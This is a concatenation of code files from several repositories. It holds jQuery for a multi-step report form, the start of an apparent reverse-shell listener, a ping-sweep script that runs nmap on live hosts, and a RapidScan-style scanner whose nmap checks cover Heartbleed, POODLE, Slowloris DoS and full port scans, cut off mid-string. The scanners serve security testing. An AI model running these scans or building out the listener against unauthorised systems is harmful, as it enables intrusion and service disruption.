//3. increase opacity of next_fs to 1 as it moves in opacity = 1 - now; current_fs.css({'transform': 'scale('+scale+')'}); next_fs.css({'left': left, 'opacity': opacity}); }, duration: 800, complete: function(){ current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' }); }); $(".next").click(function(){ if(animating) return false; animating = true; current_fs = $(this).parent(); next_fs = $(this).parent().next(); //activate next step on progressbar using the index of next_fs $("#progressbar li").eq($("fieldset").index(next_fs)).addClass("active"); //show the next fieldset next_fs.show(); //hide the current fieldset with style current_fs.animate({opacity: 0}, { step: function(now, mx) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale current_fs down to 80% scale = 1 - (1 - now) * 0.2; //2. bring next_fs from the right(50%) left = (now * 50)+"%"; //3. increase opacity of next_fs to 1 as it moves in opacity = 1 - now; current_fs.css({'transform': 'scale('+scale+')'}); next_fs.css({'left': left, 'opacity': opacity}); }, duration: 800, complete: function(){ current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' }); }); $(".previous").click(function(){ if(animating) return false; animating = true; current_fs = $(this).parent(); previous_fs = $(this).parent().prev(); //de-activate current step on progressbar $("#progressbar li").eq($("fieldset").index(current_fs)).removeClass("active"); //show the previous fieldset previous_fs.show(); //hide the current fieldset with style current_fs.animate({opacity: 0}, { step: function(now, mx) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale previous_fs from 80% to 100% scale = 0.8 + (1 - now) * 0.2; //2. take current_fs to the right(50%) - from 0% left = ((1-now) * 50)+"%"; //3. increase opacity of previous_fs to 1 as it moves in opacity = 1 - now; current_fs.css({'left': left}); previous_fs.css({'transform': 'scale('+scale+')', 'opacity': opacity}); }, duration: 800, complete: function(){ current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' }); }); /* $(".submit").click(function(){ return false; })*/ //**** JS FOR SETTING THE NUMBER OF EVIDENCE / INVOLVED CARS / INVOLVED PARTIES *****// jQuery('#quantityParty').on('input propertychange paste', function(){ var type='party'; var input = document.getElementById("quantityParty").value - 1; var totalNumber = involvedParty; involvedParty = processQuantity (input,totalNumber,type); }); jQuery('#quantityVehicle').on('input propertychange paste', function(){ var type='vehicle'; var input = document.getElementById("quantityVehicle").value - 1; var totalNumber = involvedVehicle; involvedVehicle = processQuantity (input,totalNumber,type); }); jQuery('#quantityEvidence').on('input propertychange paste', function(){ var type='evidence'; var input = document.getElementById("quantityEvidence").value - 1; var totalNumber = evidenceUploaded; evidenceUploaded = processQuantity (input,totalNumber,type); }); function processQuantity(input, totalNumber, type){ if (input > totalNumber){ var i = input - totalNumber; for (;i>0;i--){ if (totalNumber == -1){ totalNumber = show(totalNumber,type); continue; } totalNumber = duplicate(totalNumber,type); } } else if (input < totalNumber && input>=-1) { var i = totalNumber - input; for (;i>0;i--){ if (input==-1 && i==1){ totalNumber=hide(i, type); continue; } totalNumber = remove (totalNumber,type); } } return totalNumber; } function duplicate(i,type) { var original = document.getElementById(type + i); var clone = original.cloneNode(true); // "deep" clone clone.name = type + ++i; clone.id = type + i;// there can only be one element with an ID original.parentNode.append(clone); return i; } function remove (i,type){ var toRemove = '#' + type + i--; $(toRemove).remove(); return i; } function hide (i,type){ i--; var toHide = document.getElementById(type + i).id; $('#' + toHide).addClass('hidden'); return i-1; } function show (i,type){ i++; var toShow = document.getElementById(type + i).id; $('#' + toShow).removeClass('hidden'); return i; } // submit js /* $("#submitForm").click(function(){ sendQuantity() }); function sendQuantity(){ $.post('functions/processreport.php', {involvedParty: involvedParty}, function(){ alert("data sent and received: "); }); $.post('functions/processreport.php', {involvedVehicle: involvedVehicle}, function(data){ alert("data sent and received: "+data); }); $.post('functions/processreport.php', {evidenceUploaded: evidenceUploaded}, function(data){ alert("data sent and received: "+data); }); } */ $("#submitForm").click(function () { $('#involvedParty').val(involvedParty); $('#involvedVehicle').val(involvedVehicle); $('#evidenceUploaded').val(evidenceUploaded); }); /* $("#genNextDiv").click(function () { var fields = [ 'description', 'typeOfOffense', 'dateTimeOfOffense' , 'streetAddressOfOffense', 'barangayOfOffense', 'districtOfOffense']; var buttn = "genNext"; if (checkFields(fields)==1){ $("#"+buttn).addClass("next"); } }); function checkFields(fields){ for (var i = 0, len = fields.length; i < len; i++) { var field = fields[i]; fieldval = document.getElementsByName(field).value; if (typeof fieldval == "undefined" || fieldval == null || fieldval==""){ alert(field+ " " + fieldval); return 0; } } return 1; }*/ function imNotARobot() { jQuery('#finalize').trigger('propertychange'); }; $(document).ready(function () { $('#genNext').attr('disabled','disabled'); $('#submitForm').attr('disabled','disabled'); jQuery('.general-info').on('input propertychange paste click', function(){ var fields = [ 'description', 'typeOfOffense', 'dateTimeOfOffense' ,'cityOfOffense']; var bttn = "genNext"; checkFields(fields,bttn); }); jQuery('#finalize').on('input propertychange paste', function(){ var responseCaptcha = grecaptcha.getResponse(); var fields = ['password','agreement']; var bttn = "submitForm"; if (responseCaptcha != 0){ //$('#submitForm').prop('disabled',false); checkFields(fields,bttn); } }); $('#dateTimeOfOffense').on('focus', function(){ this.type='date'; }); function checkFields(fields,buttnID){ for (var i = 0, len=fields.length;i<len;i++){ fieldval = $("#"+fields[i]).val(); if(fieldval == '' || fieldval==null) { $('#' + buttnID).attr('disabled','disabled'); return; } } $('#'+ buttnID).removeAttr('disabled'); } }); var validateEmail = function(elementValue) { var emailPattern = /^([a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+(\.[a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+)*|"((([ \t]*\r\n)?[ \t]+)?([\x01-\x08\x0b\x0c\x0e-\x1f\x7f\x21\x23-\x5b\x5d-\x7e\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|\\[\x01-\x09\x0b\x0c\x0d-\x7f\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))*(([ \t]*\r\n)?[ \t]+)?")@(([a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.)+([a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.?$/i; return emailPattern.test(elementValue); } $('#email').keyup(function() { var value = $(this).val(); var valid = validateEmail(value); if ( $("#email").val().length < 1 ) { $('#infbutton1').prop('disabled', false); } else if (!valid) { $('#infbutton1').prop('disabled', true); } else { $('#infbutton1').prop('disabled', false); }} ); $('#contactphone').keyup(function() { if ( $("#contactphone").val().length != 11 ) { $('#infbutton1').prop('disabled', true); } else{ $('#infbutton1').prop('disabled', false); } }); // $("#datepicker").datepicker({ // format: "yyyy", // viewMode: "years", // minViewMode: "years" // }); function agreement() { var x = document.getElementById("agreement").required; document.getElementById("agreement").innerHTML = x; }
b0d8700fb0acfb47ec70fb3b72b23815ec3f8b3a
[ "Markdown", "JavaScript", "PHP", "Shell" ]
30
PHP
dagracejr/macro-ph
b09b36732ced22d54409876cc517137a9c6965c3
b3a9e0b9dcf9ec7f02afe898596d95e559aaabb0
refs/heads/master
<repo_name>developermiranda/guia-resto<file_sep>/app/Restaurant.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Restaurant extends Model { /* Vamos preencher os campos em massa atraves da Api Restfull - os demais campos utilizarei de outra forma */ protected $fillable = [ 'name', 'description' ]; } ?> <file_sep>/key.php <?php require 'vendor/autoload.php'; echo str_random(32); ?>
a4772b898bf70fc9a014e72b2b70dc25e5356104
[ "PHP" ]
2
PHP
developermiranda/guia-resto
ed05f7c0fbedff0828c693b0f870168ed2d93b7b
699b95e87b0533b9f256a736e7650985fae212b8
refs/heads/master
<repo_name>cyberhack255/Pentestingscripts<file_sep>/reverse-multi-server.py #!/usr/bin/python import socket import sys import threading import time from queue import queue NUMBNER_OF_THREADS = 2 JOB_NUMBER = [1, 2] queue = queue() all_connections = [] all_addresses = [] #Create socket (allow 2 computers to connect) def socket_create(): try: global host global port global s host = '' port = 9999 s = socket.socket() except socket.error as msg: print ("Socket creationg error: " + str(msg)) # Bind socket to port and wait for connection from client def socket_bind(): try: global host global port global s print("Binding socket to port: " + str(port)) s.bind((host, port)) s.listen(5) except socket.error as msg: print ("Socket binding error: " + str(msg) + "\n" + "Retrying....") socket_bind() def main(): socket_create() socket_bind() main() <file_sep>/pingsweep #!/usr/bin/python3 #Installing module if needed: python -m pip install xxxxx #This is a script to check device connectivity and perform a basic nmap scan. #import modules and libraries import subprocess import ipaddress from subprocess import Popen, PIPE import sys import time import datetime import threading from multiprocessing.dummy import Pool as ThreadPool #set colour bg = "\033[1;32m" end = "\33[0;0m" bw = "\33[1;37m" #Function to get network information def ipList(): psweepstr=""" _____ _ | __ (_) | |__) | _ __ __ _ _____ _____ ___ _ __ | ___/ | '_ \ / _` / __\ \ /\ / / _ \/ _ \ '_ \ | | | | | | | (_| \__ \\ V V / __/ __/ |_) | |_| |_|_| |_|\__, |___/ \_/\_/ \___|\___| .__/ __/ | | | |___/ |_| """ info = """ Pingsweep v1.0 by <NAME> (JP) Pingsweep and simple nmap port scan using threading. https://github.com/jotape75/pingsweep https://jpsecnetowrks.com Usage: network</mask> Exmaple: 10.10.10.0/24 """ print (bw+"#" * 80) print(psweepstr + end) print(bg+info+end) print (bw+"#" * 80 + end + "\n") nrange = input(bw+"Please Enter Network: "+end) IP_List = [] #nrange = str(sys.argv[1]) network = ipaddress.ip_network(nrange) for i in network.hosts(): i=str(i) IP_List.append(i) return (IP_List) #Function to perform ping to the devices. def config_worker(IP_List): toping = subprocess.Popen(['ping','-c','3',IP_List], stdout=PIPE) output = toping.communicate()[0] hostalive=toping.returncode if hostalive ==0: nmap = 'nmap -sS {:s}'.format(IP_List) nmaprslt = Popen(nmap, shell=True,stdout=PIPE, stderr=PIPE) out, err = nmaprslt.communicate() print("\n") print (bg+"#" * 80 +end) print ("\n" + bw+str(IP_List)+end,bg + 'Host is Alive\n'+end) print (bw+"Please wait, scanning remote host", IP_List + "\n"+end) print (bw+out.decode('utf-8')+end) print (bg+"#" * 80+end) #============================================================================== # ---- Main: Get Configuration #============================================================================== start_time = datetime.datetime.now() IP_List = ipList( ) num_threads = 100 #created a thread pool of devices. print (bw+'\n--- Creating threadpool '+ str(num_threads)+' Devices\n'+end) threads = ThreadPool( num_threads ) results = threads.map( config_worker, IP_List ) threads.close() threads.join() end_time = datetime.datetime.now() total_time = end_time - start_time print (bw+'\n---- Total of Devices: ' + str(len(IP_List))+end) print (bw+'\n---- End get config threading ' + str(total_time)+end) <file_sep>/toolscanning.py import sys import argparse import subprocess import os import time import random import threading import re import random from urllib.parse import urlsplit CURSOR_UP_ONE = '\x1b[1A' ERASE_LINE = '\x1b[2K' # Scan Time Elapser intervals = ( ('h', 3600), ('m', 60), ('s', 1), ) def display_time(seconds, granularity=3): result = [] seconds = seconds + 1 for name, count in intervals: value = seconds // count if value: seconds -= value * count result.append("{}{}".format(value, name)) return ' '.join(result[:granularity]) def terminal_size(): try: rows, columns = subprocess.check_output(['stty', 'size']).split() return int(columns) except subprocess.CalledProcessError as e: return int(20) def url_maker(url): if not re.match(r'http(s?)\:', url): url = 'http://' + url parsed = urlsplit(url) host = parsed.netloc if host.startswith('www.'): host = host[4:] return host def check_internet(): os.system('ping -c1 github.com > rs_net 2>&1') if "0% packet loss" in open('rs_net').read(): val = 1 else: val = 0 os.system('rm rs_net > /dev/null 2>&1') return val # Initializing the color module class class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' BADFAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' BG_ERR_TXT = '\033[41m' # For critical errors and crashes BG_HEAD_TXT = '\033[100m' BG_ENDL_TXT = '\033[46m' BG_CRIT_TXT = '\033[45m' BG_HIGH_TXT = '\033[41m' BG_MED_TXT = '\033[43m' BG_LOW_TXT = '\033[44m' BG_INFO_TXT = '\033[42m' BG_SCAN_TXT_START = '\x1b[6;30;42m' BG_SCAN_TXT_END = '\x1b[0m' # Classifies the Vulnerability's Severity def vul_info(val): result ='' if val == 'c': result = bcolors.BG_CRIT_TXT+" critical "+bcolors.ENDC elif val == 'h': result = bcolors.BG_HIGH_TXT+" high "+bcolors.ENDC elif val == 'm': result = bcolors.BG_MED_TXT+" medium "+bcolors.ENDC elif val == 'l': result = bcolors.BG_LOW_TXT+" low "+bcolors.ENDC else: result = bcolors.BG_INFO_TXT+" info "+bcolors.ENDC return result # Legends proc_high = bcolors.BADFAIL + "●" + bcolors.ENDC proc_med = bcolors.WARNING + "●" + bcolors.ENDC proc_low = bcolors.OKGREEN + "●" + bcolors.ENDC # Links the vulnerability with threat level and remediation database def vul_remed_info(v1,v2,v3): print(bcolors.BOLD+"Vulnerability Threat Level"+bcolors.ENDC) print("\t"+vul_info(v2)+" "+bcolors.WARNING+str(tool_resp[v1][0])+bcolors.ENDC) print(bcolors.BOLD+"Vulnerability Definition"+bcolors.ENDC) print("\t"+bcolors.BADFAIL+str(tools_fix[v3-1][1])+bcolors.ENDC) print(bcolors.BOLD+"Vulnerability Remediation"+bcolors.ENDC) print("\t"+bcolors.OKGREEN+str(tools_fix[v3-1][2])+bcolors.ENDC) def helper(): print(bcolors.OKBLUE+"Information:"+bcolors.ENDC) print("------------") print("\t./rapidscan.py example.com: Scans the domain example.com.") print("\t./rapidscan.py example.com --skip dmitry --skip theHarvester: Skip the 'dmitry' and 'theHarvester' tests.") print("\t./rapidscan.py example.com --nospinner: Disable the idle loader/spinner.") print("\t./rapidscan.py --update : Updates the scanner to the latest version.") print("\t./rapidscan.py --help : Displays this help context.") print(bcolors.OKBLUE+"Interactive:"+bcolors.ENDC) print("------------") print("\tCtrl+C: Skips current test.") print("\tCtrl+Z: Quits RapidScan.") print(bcolors.OKBLUE+"Legends:"+bcolors.ENDC) print("--------") print("\t["+proc_high+"]: Scan process may take longer times (not predictable).") print("\t["+proc_med+"]: Scan process may take less than 10 minutes.") print("\t["+proc_low+"]: Scan process may take less than a minute or two.") print(bcolors.OKBLUE+"Vulnerability Information:"+bcolors.ENDC) print("--------------------------") print("\t"+vul_info('c')+": Requires immediate attention as it may lead to compromise or service unavailability.") print("\t"+vul_info('h')+" : May not lead to an immediate compromise, but there are considerable chances for probability.") print("\t"+vul_info('m')+" : Attacker may correlate multiple vulnerabilities of this type to launch a sophisticated attack.") print("\t"+vul_info('l')+" : Not a serious issue, but it is recommended to tend to the finding.") print("\t"+vul_info('i')+" : Not classified as a vulnerability, simply an useful informational alert to be considered.\n") # Clears Line def clear(): sys.stdout.write("\033[F") sys.stdout.write("\033[K") #clears until EOL # Initiliazing the idle loader/spinner class class Spinner: busy = False delay = 0.005 # 0.05 @staticmethod def spinning_cursor(): while 1: for cursor in ' ': yield cursor def __init__(self, delay=None): self.spinner_generator = self.spinning_cursor() if delay and float(delay): self.delay = delay self.disabled = False def spinner_task(self): inc = 0 try: while self.busy: if not self.disabled: x = bcolors.BG_SCAN_TXT_START+next(self.spinner_generator)+bcolors.BG_SCAN_TXT_END inc = inc + 1 print(x,end='') if inc>random.uniform(0,terminal_size()): #30 init print(end="\r") bcolors.BG_SCAN_TXT_START = '\x1b[6;30;'+str(round(random.uniform(40,47)))+'m' inc = 0 sys.stdout.flush() time.sleep(self.delay) if not self.disabled: sys.stdout.flush() except (KeyboardInterrupt, SystemExit): print("\n\t"+ bcolors.BG_ERR_TXT+" Ctrl+C hits. Quitting..." +bcolors.ENDC) sys.exit(1) def start(self): self.busy = True try: threading.Thread(target=self.spinner_task).start() except Exception as e: print("\n") def stop(self): try: self.busy = False time.sleep(self.delay) except (KeyboardInterrupt, SystemExit): print("\n\t"+ bcolors.BG_ERR_TXT+" Ctrl+C hits. Quitting..." +bcolors.ENDC) sys.exit(1) spinner = Spinner() tool_names = [ #Nmap Tool #8 ["nmap","Nmap - Fast Scan [Only Few Port Checks]","nmap",1], #14 ["nmap_header","Nmap [XSS Filter Check] - Checks if XSS Protection Header is present.","nmap",1], #15 ["nmap_sloris","Nmap [Slowloris DoS] - Checks for Slowloris Denial of Service Vulnerability.","nmap",1], #17 ["nmap_hbleed","Nmap [Heartbleed] - Checks only for Heartbleed Vulnerability.","nmap",1], #18 ["nmap_poodle","Nmap [POODLE] - Checks only for Poodle Vulnerability.","nmap",1], #19 ["nmap_ccs","Nmap [OpenSSL CCS Injection] - Checks only for CCS Injection.","nmap",1], #20 ["nmap_freak","Nmap [FREAK] - Checks only for FREAK Vulnerability.","nmap",1], #21 ["nmap_logjam","Nmap [LOGJAM] - Checks for LOGJAM Vulnerability.","nmap",1], #42 ["nmap_telnet","Nmap [TELNET] - Checks if TELNET service is running.","nmap",1], #43 ["nmap_ftp","Nmap [FTP] - Checks if FTP service is running.","nmap",1], #44 ["nmap_stuxnet","Nmap [STUXNET] - Checks if the host is affected by STUXNET Worm.","nmap",1], #67 ["nmap_sqlserver","Nmap - Checks for MS-SQL Server DB","nmap",1], #68 ["nmap_mysql", "Nmap - Checks for MySQL DB","nmap",1], #69 ["nmap_oracle", "Nmap - Checks for ORACLE DB","nmap",1], #70 ["nmap_rdp_udp","Nmap - Checks for Remote Desktop Service over UDP","nmap",1], #71 ["nmap_rdp_tcp","Nmap - Checks for Remote Desktop Service over TCP","nmap",1], #72 ["nmap_full_ps_tcp","Nmap - Performs a Full TCP Port Scan","nmap",1], #73 ["nmap_full_ps_udp","Nmap - Performs a Full UDP Port Scan","nmap",1], #74 ["nmap_snmp","Nmap - Checks for SNMP Service","nmap",1], #76 ["nmap_tcp_smb","Checks for SMB Service over TCP","nmap",1], #77 ["nmap_udp_smb","Checks for SMB Service over UDP","nmap",1], #79 #Nmap Tool Ended ["nmap_iis","Nmap - Checks for IIS WebDAV","nmap",1], ] tool_cmd = [ #8 ["nmap -F --open -Pn ",""], #14 ["nmap -p80 --script http-security-headers -Pn ",""], #15 ["nmap -p80,443 --script http-slowloris --max-parallelism 500 -Pn ",""], #17 ["nmap -p443 --script ssl-heartbleed -Pn ",""], #18 ["nmap -p443 --script ssl-poodle -Pn ",""], #19 ["nmap -p443 --script ssl-ccs-injection -Pn ",""], #20 ["nmap -p443 --script ssl-enum-ciphers -Pn ",""], #21 ["nmap -p443 --script ssl-dh-params -Pn ",""], #42 ["nmap -p23 --open -Pn ",""], #43 ["nmap -p21 --open -Pn ",""], #44 ["nmap --script stuxnet-detect -p445 -Pn ",""], #67 ["nmap -p1433 --open -Pn ",""], #68 ["nmap -p3306 --open -Pn ",""], #69 ["nmap -p1521 --open -Pn ",""], #70 ["nmap -p3389 --open -sU -Pn ",""], #71 ["nmap -p3389 --open -sT -Pn ",""], #72 ["nmap -p1-65535 --open -Pn ",""], #73 ["nmap -p1-65535 -sU --open -Pn ",""], #74 ["nmap -p161 -sU --open -Pn ",""], #76 ["nmap -p445,137-139 --open -Pn ",""], #77 ["nmap -p137,138 --open -Pn ",""], #79 ["nmap -p80 --script=http-iis-webdav-vuln -Pn ",""], ] tool_resp = [ #8 ["Some ports are open. Perform a full-scan manually.","l",8], #14 ["XSS Protection Filter is Disabled.","m",12], #15 ["Vulnerable to Slowloris Denial of Service.","c",13], #17 ["HEARTBLEED Vulnerability Found with Nmap.","h",14], #18 ["POODLE Vulnerability Detected.","h",15], #19 ["OpenSSL CCS Injection Detected.","h",16], #20 ["FREAK Vulnerability Detected.","h",17], #21 ["LOGJAM Vulnerability Detected.","h",18], #42 ["Telnet Service Detected.","h",32], #43 ["FTP Service Detected.","c",33], #44 ["Vulnerable to STUXNET.","c",34], #67 ["MS-SQL DB Service Detected.","l",47], #68 ["MySQL DB Service Detected.","l",47], #69 ["ORACLE DB Service Detected.","l",47], #70 ["RDP Server Detected over UDP.","h",48], #71 ["RDP Server Detected over TCP.","h",48], #72 ["TCP Ports are Open","l",8], #73 ["UDP Ports are Open","l",8], #74 ["SNMP Service Detected.","m",49], #76 ["SMB Ports are Open over TCP","m",51], #77 ["SMB Ports are Open over UDP","m",51], #79 ["IIS WebDAV is Enabled","m",35], ] tool_status = [ #8 ["tcp open",0,proc_med," < 2m","nmapopen",["Failed to resolve"]], #14 ["XSS filter is disabled",0,proc_low," < 20s","nmapxssh",["Failed to resolve"]], #15 ["VULNERABLE",0,proc_high," < 45m","nmapdos",["Failed to resolve"]], #17 ["VULNERABLE",0,proc_low," < 30s","nmap1",["Failed to resolve"]], #18 ["VULNERABLE",0,proc_low," < 35s","nmap2",["Failed to resolve"]], #19 ["VULNERABLE",0,proc_low," < 35s","nmap3",["Failed to resolve"]], #20 ["VULNERABLE",0,proc_low," < 30s","nmap4",["Failed to resolve"]], #21 ["VULNERABLE",0,proc_low," < 35s","nmap5",["Failed to resolve"]], #42 ["open",0,proc_low," < 15s","nmaptelnet",["Failed to resolve"]], #43 ["open",0,proc_low," < 15s","nmapftp",["Failed to resolve"]], #44 ["open",0,proc_low," < 20s","nmapstux",["Failed to resolve"]], #67 ["open",0,proc_low," < 15s","nmapmssql",["Failed to resolve"]], #68 ["open",0,proc_low," < 15s","nmapmysql",["Failed to resolve"]], #69 ["open",0,proc_low," < 15s","nmaporacle",["Failed to resolve"]], #70 ["open",0,proc_low," < 15s","nmapudprdp",["Failed to resolve"]], #71 ["open",0,proc_low," < 15s","nmaptcprdp",["Failed to resolve"]], #72 ["open",0,proc_high," > 50m","nmapfulltcp",["Failed to resolve"]], #73 ["open",0,proc_high," > 75m","nmapfulludp",["Failed to resolve"]], #74 ["open",0,proc_low," < 30s","nmapsnmp",["Failed to resolve"]], #76 ["open",0,proc_low," < 20s","nmaptcpsmb",["Failed to resolve"]], #77 ["open",0,proc_low," < 20s","nmapudpsmb",["Failed to resolve"]], #78 ["Host:",0,proc_med," < 5m","wapiti",["none"]], #79 ["WebDAV is ENABLED",0,proc_low," < 40s","nmapwebdaviis",["Failed to resolve"]], ] tools_fix = [ [1, "Not a vulnerability, just an informational alert. The host does not have IPv6 support. IPv6 provides more security as IPSec (responsible for CIA - Confidentiality, Integrity and Availablity) is incorporated into this model. So it is good to have IPv6 Support.", "It is recommended to implement IPv6. More information on how to implement IPv6 can be found from this resource. https://www.cisco.com/c/en/us/solutions/collateral/enterprise/cisco-on-cisco/IPv6-Implementation_CS.html"], [2, "Sensitive Information Leakage Detected. The ASP.Net application does not filter out illegal characters in the URL. The attacker injects a special character (%7C~.aspx) to make the application spit sensitive information about the server stack.", "It is recommended to filter out special charaters in the URL and set a custom error page on such situations instead of showing default error messages. This resource helps you in setting up a custom error page on a Microsoft .Net Application. https://docs.microsoft.com/en-us/aspnet/web-forms/overview/older-versions-getting-started/deploying-web-site-projects/displaying-a-custom-error-page-cs"], [3, "It is not bad to have a CMS in WordPress. There are chances that the version may contain vulnerabilities or any third party scripts associated with it may possess vulnerabilities", "It is recommended to conceal the version of WordPress. This resource contains more information on how to secure your WordPress Blog. https://codex.wordpress.org/Hardening_WordPress"], [4, "It is not bad to have a CMS in Drupal. There are chances that the version may contain vulnerabilities or any third party scripts associated with it may possess vulnerabilities", "It is recommended to conceal the version of Drupal. This resource contains more information on how to secure your Drupal Blog. https://www.drupal.org/docs/7/site-building-best-practices/ensure-that-your-site-is-secure"], [5, "It is not bad to have a CMS in Joomla. There are chances that the version may contain vulnerabilities or any third party scripts associated with it may possess vulnerabilities", "It is recommended to conceal the version of Joomla. This resource contains more information on how to secure your Joomla Blog. https://www.incapsula.com/blog/10-tips-to-improve-your-joomla-website-security.html"], [6, "Sometimes robots.txt or sitemap.xml may contain rules such that certain links that are not supposed to be accessed/indexed by crawlers and search engines. Search engines may skip those links but attackers will be able to access it directly.", "It is a good practice not to include sensitive links in the robots or sitemap files."], [7, "Without a Web Application Firewall, An attacker may try to inject various attack patterns either manually or using automated scanners. An automated scanner may send hordes of attack vectors and patterns to validate an attack, there are also chances for the application to get DoS`ed (Denial of Service)", "Web Application Firewalls offer great protection against common web attacks like XSS, SQLi, etc. They also provide an additional line of defense to your security infrastructure. This resource contains information on web application firewalls that could suit your application. https://www.gartner.com/reviews/market/web-application-firewall"], [8, "Open Ports give attackers a hint to exploit the services. Attackers try to retrieve banner information through the ports and understand what type of service the host is running", "It is recommended to close the ports of unused services and use a firewall to filter the ports wherever necessary. This resource may give more insights. https://security.stackexchange.com/a/145781/6137"], [9, "Chances are very less to compromise a target with email addresses. However, attackers use this as a supporting data to gather information around the target. An attacker may make use of the username on the email address and perform brute-force attacks on not just email servers, but also on other legitimate panels like SSH, CMS, etc with a password list as they have a legitimate name. This is however a shoot in the dark scenario, the attacker may or may not be successful depending on the level of interest", "Since the chances of exploitation is feeble there is no need to take action. Perfect remediation would be choosing different usernames for different services will be more thoughtful."], [10, "Zone Transfer reveals critical topological information about the target. The attacker will be able to query all records and will have more or less complete knowledge about your host.", "Good practice is to restrict the Zone Transfer by telling the Master which are the IPs of the slaves that can be given access for the query. This SANS resource provides more information. https://www.sans.org/reading-room/whitepapers/dns/securing-dns-zone-transfer-868"], [11, "The email address of the administrator and other information (address, phone, etc) is available publicly. An attacker may use these information to leverage an attack. This may not be used to carry out a direct attack as this is not a vulnerability. However, an attacker makes use of these data to build information about the target.", "Some administrators intentionally would have made this information public, in this case it can be ignored. If not, it is recommended to mask the information. This resource provides information on this fix. http://www.name.com/blog/how-tos/tutorial-2/2013/06/protect-your-personal-information-with-whois-privacy/"], [12, "As the target is lacking this header, older browsers will be prone to Reflected XSS attacks.", "Modern browsers does not face any issues with this vulnerability (missing headers). However, older browsers are strongly recommended to be upgraded."], [13, "This attack works by opening multiple simultaneous connections to the web server and it keeps them alive as long as possible by continously sending partial HTTP requests, which never gets completed. They easily slip through IDS by sending partial requests.", "If you are using Apache Module, `mod_antiloris` would help. For other setup you can find more detailed remediation on this resource. https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate-apache-http-server/"], [14, "This vulnerability seriously leaks private information of your host. An attacker can keep the TLS connection alive and can retrieve a maximum of 64K of data per heartbeat.", "PFS (Perfect Forward Secrecy) can be implemented to make decryption difficult. Complete remediation and resource information is available here. http://heartbleed.com/"], [15, "By exploiting this vulnerability, an attacker will be able gain access to sensitive data in a n encrypted session such as session ids, cookies and with those data obtained, will be able to impersonate that particular user.", "This is a flaw in the SSL 3.0 Protocol. A better remediation would be to disable using the SSL 3.0 protocol. For more information, check this resource. https://www.us-cert.gov/ncas/alerts/TA14-290A"], [16, "This attacks takes place in the SSL Negotiation (Handshake) which makes the client unaware of the attack. By successfully altering the handshake, the attacker will be able to pry on all the information that is sent from the client to server and vice-versa", "Upgrading OpenSSL to latest versions will mitigate this issue. This resource gives more information about the vulnerability and the associated remediation. http://ccsinjection.lepidum.co.jp/"], [17, "With this vulnerability the attacker will be able to perform a MiTM attack and thus compromising the confidentiality factor.", "Upgrading OpenSSL to latest version will mitigate this issue. Versions prior to 1.1.0 is prone to this vulnerability. More information can be found in this resource. https://bobcares.com/blog/how-to-fix-sweet32-birthday-attacks-vulnerability-cve-2016-2183/"], [18, "With the LogJam attack, the attacker will be able to downgrade the TLS connection which allows the attacker to read and modify any data passed over the connection.", "Make sure any TLS libraries you use are up-to-date, that servers you maintain use 2048-bit or larger primes, and that clients you maintain reject Diffie-Hellman primes smaller than 1024-bit. More information can be found in this resource. https://weakdh.org/"], [19, "Allows remote attackers to cause a denial of service (crash), and possibly obtain sensitive information in applications that use OpenSSL, via a malformed ClientHello handshake message that triggers an out-of-bounds memory access.", " OpenSSL versions 0.9.8h through 0.9.8q and 1.0.0 through 1.0.0c are vulnerable. It is recommended to upgrade the OpenSSL version. More resource and information can be found here. https://www.openssl.org/news/secadv/20110208.txt"], [20, "Otherwise termed as BREACH atack, exploits the compression in the underlying HTTP protocol. An attacker will be able to obtain email addresses, session tokens, etc from the TLS encrypted web traffic.", "Turning off TLS compression does not mitigate this vulnerability. First step to mitigation is to disable Zlib compression followed by other measures mentioned in this resource. http://breachattack.com/"], [21, "Otherwise termed as Plain-Text Injection attack, which allows MiTM attackers to insert data into HTTPS sessions, and possibly other types of sessions protected by TLS or SSL, by sending an unauthenticated request that is processed retroactively by a server in a post-renegotiation context.", "Detailed steps of remediation can be found from these resources. https://securingtomorrow.mcafee.com/technical-how-to/tips-securing-ssl-renegotiation/ https://www.digicert.com/news/2011-06-03-ssl-renego/ "], [22, "This vulnerability allows attackers to steal existing TLS sessions from users.", "Better advice is to disable session resumption. To harden session resumption, follow this resource that has some considerable information. https://wiki.crashtest-security.com/display/KB/Harden+TLS+Session+Resumption"], [23, "This has nothing to do with security risks, however attackers may use this unavailability of load balancers as an advantage to leverage a denial of service attack on certain services or on the whole application itself.", "Load-Balancers are highly encouraged for any web application. They improve performance times as well as data availability on during times of server outage. To know more information on load balancers and setup, check this resource. https://www.digitalocean.com/community/tutorials/what-is-load-balancing"], [24, "An attacker can forwarded requests that comes to the legitimate URL or web application to a third party address or to the attacker's location that can serve malware and affect the end user's machine.", "It is highly recommended to deploy DNSSec on the host target. Full deployment of DNSSEC will ensure the end user is connecting to the actual web site or other service corresponding to a particular domain name. For more information, check this resource. https://www.cloudflare.com/dns/dnssec/how-dnssec-works/"], [25, "Attackers may find considerable amount of information from these files. There are even chances attackers may get access to critical information from 